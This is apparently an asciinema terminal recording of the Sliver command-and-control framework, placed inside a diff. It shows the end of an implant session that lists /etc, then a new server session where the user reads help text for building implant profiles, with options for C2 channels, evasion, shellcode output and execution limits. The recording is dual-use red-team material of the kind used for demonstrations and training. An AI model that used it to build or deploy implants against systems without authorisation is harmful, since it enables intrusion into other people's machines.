[50.834201, "o", " <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root lsb-release 104 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root machine-id 0 B Tue Apr 25 14:06:19 +0000 2023\r\n-rw-r--r-- root:root mime.types 70.3 KiB Mon Mar 21 09:12:23 +0000 2022\r\n-rw-r--r-- root:root mke2fs.conf 744 B Sat Jan 08 20:02:36 +0000 2022\r\nLrwxrwxrwx root:root mtab -> /proc/19246/mounts 12 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root netconfig 767 B Thu Mar 24 16:13:48 +0000 2022\r\n-rw-r--r-- root:root networks 91 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root nsswitch.conf 494 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root opt <dir> Tue Apr 25 14:03:08 +0000 2023\r\nLrwxrwxrwx root:root "]
[50.834272, "o", " os-release -> ../usr/lib/os-release 21 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root pam.conf 552 B Wed Aug 12 00:15:04 +0000 2020\r\ndrwxr-xr-x root:root pam.d <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root passwd 922 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root profile 582 B Fri Oct 15 10:06:05 +0000 2021\r\ndrwxr-xr-x root:root profile.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root python3 <dir> Wed May 01 11:42:42 +0000 2024\r\ndrwxr-xr-x root:root python3.10 <dir> Wed May 01 11:42:32 +0000 2024\r\ndrwxr-xr-x root:root rc0.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc1.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr"]
[50.834339, "o", "-x root:root rc2.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc3.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc4.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc5.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc6.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rcS.d <dir> Tue Apr 25 14:03:13 +0000 2023\r\n-rw-r--r-- root:root resolv.conf 97 B Wed May 01 11:41:24 +0000 2024\r\nLrwxrwxrwx root:root rmt -> /usr/sbin/rmt-tar 13 B Wed Feb 15 15:45:50 +0000 2023\r\ndrwxr-xr-x root:root security <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root selinux <dir> Tue Apr 25 14:05:13 +000"]
[50.834902, "o", "0 2023\r\n-rw-r----- root:shadow shadow 501 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root shells 142 B Wed May 01 12:11:33 +0000 2024\r\ndrwxr-xr-x root:root skel <dir> Tue Apr 25 14:03:24 +0000 2023\r\ndrwxr-xr-x root:root ssl <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root subgid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root subuid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root sysctl.conf 2.3 KiB Fri Feb 25 11:32:20 +0000 2022\r\ndrwxr-xr-x root:root sysctl.d <dir> Tue Apr 25 14:05:58 +0000 2023\r\ndrwxr-xr-x root:root systemd <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root terminfo <dir> Tue Apr "]
[50.834977, "o", "25 14:05:50 +0000 2023\r\ndrwxr-xr-x root:root update-motd.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root xattr.conf 681 B Wed Mar 23 09:41:49 +0000 2022\r\n\r\n\r\n"]
[50.850839, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[50.850978, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[50.851034, "o", "\u001b[6n"]
[50.853243, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[52.794065, "o", "\u001b[?25l"]
[52.795694, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[52.811379, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[52.811839, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[52.880998, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[52.883904, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[53.023473, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.02698, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[53.141757, "o", "\u001b[?25l"]
[53.142137, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[53.144837, "o", "\u001b[6n"]
[53.148545, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[53.149522, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[53.277628, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.287967, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[53.328989, "o", "\u001b[?25l\u001b[107D"]
[53.329901, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.332245, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[53.333298, "o", "\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
[53.387784, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[53.388886, "o", "\u001b[6n"]
[53.390433, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[53.390674, "o", "\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
[53.446915, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.449749, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
[53.491784, "o", "\u001b[?25l\u001b[107D"]
[53.492463, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.495225, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[53.495792, "o", "\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
[53.550209, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.554691, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[53.554816, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
[53.729192, "o", "\u001b[41D\u001b[31C\u001b[6n"]
[53.741159, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[53.769632, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
[53.780366, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[53.780801, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[53.782338, "o", "\u001b[6n"]
[53.784762, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C"]
[53.785937, "o", "\u001b[?25h"]
[54.215505, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[54.216141, "o", "\u001b[6n"]
[54.21991, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[54.2212, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[54.379919, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[54.380426, "o", "\u001b[6n"]
[54.390339, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[54.538062, "o", "\u001b[?25l"]
[54.539033, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[54.542374, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[54.633954, "o", "\u001b[?25l\u001b[107D"]
[54.635551, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[54.639696, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C"]
[54.639828, "o", "\u001b[107D\u001b[13C\u001b[?25h"]
[55.085057, "o", "\u001b[13D\u001b[9C"]
[55.085829, "o", "\u001b[6n"]
[55.098144, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n\u001b[0 q"]
[55.098526, "o", "\r\n"]
[55.123226, "o", "Exiting...\r\n"]
[55.14691, "o", "\u001b[?2004h"]
[55.147476, "o", "root@98df0494f659:~# "]
[56.321891, "o", "^C"]
[56.324025, "o", "\u001b[?2004l\r\u001b[?2004h"]
[56.331126, "o", "\u001b[?2004l\r\r\n\u001b[?2004hroot@98df0494f659:~# "]
[56.76656, "o", "\u001b[?2004l\r\r\n"]
[56.767344, "o", "exit\r\n"]
@@ -0,0 +1,865 @@
{"version": 2, "width": 214, "height": 53, "timestamp": 1714671110, "env": {"SHELL": null, "TERM": "xterm"}}
[0.0365, "o", "# "]
[2.300466, "o", "."]
[2.380231, "o", "/"]
[2.543769, "o", "s"]
[2.664655, "o", "l"]
[2.710474, "o", "i"]
[2.784952, "o", "v"]
[2.940238, "o", "e"]
[3.054768, "o", "r"]
[3.143601, "o", "-"]
[3.346318, "o", "s"]
[3.381649, "o", "e"]
[3.429149, "o", "r"]
[3.639049, "o", "v"]
[3.753495, "o", "e"]
[3.844406, "o", "r"]
[3.958467, "o", "\r\n"]
[5.236741, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain dethrone\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m"]
[5.237725, "o", "\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[5.241125, "o", "\r\n"]
[5.266567, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.269346, "o", "\u001b[1 q"]
[5.271167, "o", "\u001b[?25l"]
[5.271738, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.2723, "o", "\u001b[6n"]
[5.275121, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[5.275246, "o", "\r\r\n"]
[5.275574, "o", "\u001b[0K"]
[5.276699, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[6.788234, "o", "\u001b[?25l\u001b[214D"]
[6.790111, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.80734, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.808757, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[6.864007, "o", "\u001b[?25l\u001b[214D"]
[6.866175, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.879664, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[6.880395, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[6.964547, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.974473, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[7.084477, "o", "\u001b[?25l\u001b[214D"]
[7.088105, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.10679, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.108605, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[7.135656, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.137017, "o", "\u001b[6n"]
[7.140486, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C"]
[7.141666, "o", "\u001b[?25h"]
[7.218402, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.231162, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[7.253952, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.254678, "o", "\u001b[6n"]
[7.2585, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.258616, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[7.31814, "o", "\u001b[?25l"]
[7.319311, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.323417, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D"]
[7.323716, "o", "\u001b[17C\u001b[?25h"]
[7.451357, "o", "\u001b[?25l"]
[7.46114, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.479007, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[10.141048, "o", "\u001b[?25l"]
[10.142557, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[10.144411, "o", "\u001b[6n"]
[10.171025, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.173669, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
[10.381466, "o", "\u001b[?25l"]
[10.390374, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[10.397032, "o", "\u001b[6n"]
[10.422451, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[10.42505, "o", "\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
[10.538693, "o", "\u001b[20D\u001b[9C"]
[10.546145, "o", "\u001b[6n"]
[10.563405, "o", "\u001b[214D\u001b[20C\u001b[0J"]
[10.564509, "o", "\u001b[214D\r\r\n"]
[10.56801, "o", "\u001b[0 q"]
[10.569272, "o", "\r\n"]
[10.58611, "o", "List existing profiles\r\n\r\n"]
[10.596051, "o", "Usage:\r\n profiles [flags]\r\n profiles [command]\r\n\r\nAvailable Commands:\r\n generate Generate implant from a profile\r\n info Details about a profile\r\n new Create a new implant profile (interactive session)\r\n rm Remove a profile\r\n stage Generate implant from a profile and encode or encrypt it\r\n\r\nFlags:\r\n -h, --help help for profiles\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles [command] --help\" for more information about a command.\r\n"]
[10.597101, "o", "\r\n"]
[10.60964, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[10.609799, "o", "\u001b[1 q\u001b[?25l\u001b[214D"]
[10.609842, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.613317, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[11.040535, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.066449, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.06745, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[11.152457, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.162655, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[11.244167, "o", "\u001b[?25l\u001b[214D"]
[11.254302, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.271271, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.272278, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[11.370374, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.386569, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[11.389331, "o", "\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[11.438756, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.439512, "o", "\u001b[6n"]
[11.443634, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[11.444767, "o", "\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[11.503298, "o", "\u001b[?25l"]
[11.504461, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.516437, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[11.517279, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[11.585175, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.596624, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[11.597432, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[11.608683, "o", "\u001b[?25l\u001b[214D"]
[11.609612, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.621584, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.622411, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
[11.743096, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.756295, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[12.619447, "o", "\u001b[?25l\u001b[214D"]
[12.620109, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.632128, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mn\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.633364, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
[12.741768, "o", "\u001b[?25l"]
[12.744192, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.764267, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mne\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[12.765676, "o", "\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
[12.80038, "o", "\u001b[?25l"]
[12.801503, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.804488, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[12.80556, "o", "\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
[12.88558, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.890427, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C"]
[12.891981, "o", "\u001b[214D\u001b[22C\u001b[?25h"]
[13.753303, "o", "\u001b[?25l"]
[13.766002, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.803622, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[13.806077, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
[13.98862, "o", "\u001b[?25l"]
[13.999511, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[14.015394, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[14.015849, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
[14.167148, "o", "\u001b[24D\u001b[9C\u001b[6n"]
[14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
[14.182566, "o", "\u001b[0 q\r\n"]
[14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
[14.200627, "o", " http(s) connection strings\r\n -X, --key-exchange uint32 wg key-exchange port (default 1337)\r\n -w, --limit-datetime string limit execution to before datetime\r\n -x, --limit-domainjoined limit execution to domain joined machines\r\n -F, --limit-fileexists string limit execution to hosts with this file in the filesystem\r\n -z, --limit-hostname string limit execution to specified hostname\r\n -L, --limit-locale string limit execution to hosts that match this locale\r\n -y, --limit-username string limit execution to specified username\r\n -k, --max-errors uint32 max number of connection errors (default 1000)\r\n -m, --mtls string mtls connection strings\r\n -N, --name string agent name\r\n -p, --named-pipe string named-pipe connection strings\r\n -q, --netgo force the use of netgo\r\n -o, --os string operating system (default \"windows\")\r\n -P, --poll-timeout int long poll request timeout (d"]
[14.201749, "o", "efault 360)\r\n -j, --reconnect int attempt to reconnect every n second(s) (default 60)\r\n -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)\r\n -s, --save string directory/file to the binary to\r\n -l, --skip-symbols skip symbol obfuscation\r\n -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n -T, --tcp-comms uint32 wg c2 comms port (default 8888)\r\n -i, --tcp-pivot string tcp-pivot connection strings\r\n -I, --template string implant code template (default \"sliver\")\r\n -A, --traffic-encoders string comma separated list of traffic encoders to enable\r\n -g, --wg string wg connection strings\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
[14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[14.213731, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
